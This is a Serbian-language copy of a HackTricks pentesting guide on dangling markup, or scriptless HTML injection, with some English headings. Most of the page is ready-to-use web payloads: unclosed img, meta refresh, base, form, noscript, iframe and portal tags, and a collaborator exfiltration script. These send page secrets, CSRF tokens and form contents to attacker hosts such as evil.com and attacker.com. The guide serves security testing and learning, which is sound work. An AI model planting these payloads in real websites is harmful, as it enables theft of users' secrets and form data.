hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

14 KiB

Dangling Markup - HTML scriptless injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Resume

Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se HTML injekcija pronađe. Ovo je veoma korisno ako ne pronađete način da iskoristite XSS ali možete injektovati neke HTML tagove.
Takođe je korisno ako je neka tajna sačuvana u čistom tekstu u HTML-u i želite da je izvučete od klijenta, ili ako želite da obmanete neku izvršavanje skripte.

Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).

Main Applications

Stealing clear text secrets

Ako injektujete <img src='http://evil.com/log.cgi? kada se stranica učita, žrtva će vam poslati sav kod između injektovanog img taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).

Ako je img tag zabranjen (zbog CSP-a na primer) možete takođe koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".

Takođe možete zloupotrebiti CSS @import (će poslati sav kod dok ne pronađe ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Možete takođe koristiti <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Možete takođe umetnuti <base tag. Sve informacije će biti poslate dok se citat ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će <base tag promeniti domen na koji link upućuje):

<base target='        <--- Injected
steal me'<b>test</b>

Krađa obrazaca

<base href='http://evil.com/'>

Zatim, forme koje šalju podatke na putanju (kao što je <form action='update_profile.php'>) će slati podatke na zloćudnu domenu.

Stealing forms 2

Postavite zaglavlje forme: <form action='http://evil.com/log_steal'> ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.

Stealing forms 3

Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Napadač može koristiti ovo da ukrade informacije.

Pronađite primer ovog napada u ovom izveštaju.

Krađa tajni u čistom tekstu 2

Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:

<input type='hidden' name='review_body' value="

i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "Krađu tajnih podataka u čistom tekstu" sa "Krađom formi2".

Možete učiniti istu stvar injektovanjem forme i <option> taga. Svi podaci do zatvorenog </option> će biti poslati:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Injekcija parametara forme

Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Krađa tajni u čistom tekstu putem noscript

<noscript></noscript> Je oznaka čiji će sadržaj biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/isključiti Javascript u Chrome-u na chrome://settings/content/javascript).

Način za eksfiltraciju sadržaja web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovoga:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

Iz ovog portswiggers istraživanja možete saznati da čak i iz najviše CSP ograničenih okruženja možete još uvek izvući podatke uz malo interakcije korisnika. U ovoj prilici ćemo koristiti payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Napomena da ćete tražiti od žrtve da klikne na link koji će ga preusmeriti na payload koji kontrolišete. Takođe, napomenite da će target atribut unutar base taga sadržati HTML sadržaj do sledeće jednostruke navodnike.
To će učiniti da će vrednost window.name ako se link klikne biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na kojoj žrtva pristupa klikom na link, možete pristupiti tom window.name i ekfiltrirati te podatke:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Zavaravajući tok skripte 1 - HTML namespace napad

Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Zavaravajući tok skripte 2 - Napad na prostor imena skripte

Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Zloupotreba JSONP-a

Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ili možete čak pokušati da izvršite neki javascript:

<script src='/search?q=a&call=alert(1)'></script>

Iframe zloupotreba

Dečiji dokument ima mogućnost da pregleda i menja location svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar iframe koja može preusmeriti klijenta na proizvoljnu stranicu:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'

Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuse

Možete koristiti meta http-equiv za izvođenje several actions kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ili izvođenje preusmeravanja (u 5s u ovom slučaju): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Ovo se može avoided sa CSP u vezi sa http-equiv ( Content-Security-Policy: default-src 'self';, ili Content-Security-Policy: http-equiv 'self';)

New <portal HTML tag

Možete pronaći veoma interesting research o iskoristivim ranjivostima <portal taga here.
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u chrome://flags/#enable-portals ili neće raditi.

<portal src='https://attacker-server?

HTML Leaks

Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Ovo je mešavina između dangling markup i XS-Leaks. S jedne strane, ranjivost omogućava injekciju HTML-a (ali ne JS) na stranicu iste domene kao ona koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na kojoj možemo injektovati HTML, već druguu stranicu.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search su orijentisane na ekstrakciju informacija iz različitih domena zloupotrebom napada putem sporednih kanala. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su CSS Injection ili Lazy Load Images.

{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}